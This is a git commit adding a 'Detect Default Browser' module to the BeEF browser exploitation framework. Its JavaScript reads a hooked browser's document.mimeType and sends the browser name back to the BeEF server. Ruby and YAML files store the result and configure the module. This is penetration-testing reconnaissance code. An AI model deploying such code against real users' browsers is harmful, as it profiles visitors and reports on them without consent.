Added Detect Default Browser module
This commit is contained in:
24
modules/browser/detect_default_browser/command.js
Normal file
24
modules/browser/detect_default_browser/command.js
Normal file
@@ -0,0 +1,24 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var mt = document.mimeType;
|
||||
|
||||
if (mt) {
|
||||
if (mt == "Safari Document") result = "Safari";
|
||||
if (mt == "Firefox HTML Document") result = "Firefox";
|
||||
if (mt == "Chrome HTML Document") result = "Chrome";
|
||||
if (mt == "HTML Document") result = "Internet Explorer";
|
||||
if (mt == "Opera Web Document") result = "Opera";
|
||||
} else {
|
||||
result = "Unknown";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser="+result);
|
||||
|
||||
});
|
||||
|
||||
16
modules/browser/detect_default_browser/config.yaml
Normal file
16
modules/browser/detect_default_browser/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_default_browser:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Detect Default Browser"
|
||||
description: "This module detects which browser is configured as the default web browser."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["IE"]
|
||||
not_working: ["All"]
|
||||
14
modules/browser/detect_default_browser/module.rb
Normal file
14
modules/browser/detect_default_browser/module.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Detect_default_browser < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['browser'] = @datastore['browser'] if not @datastore['browser'].nil?
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user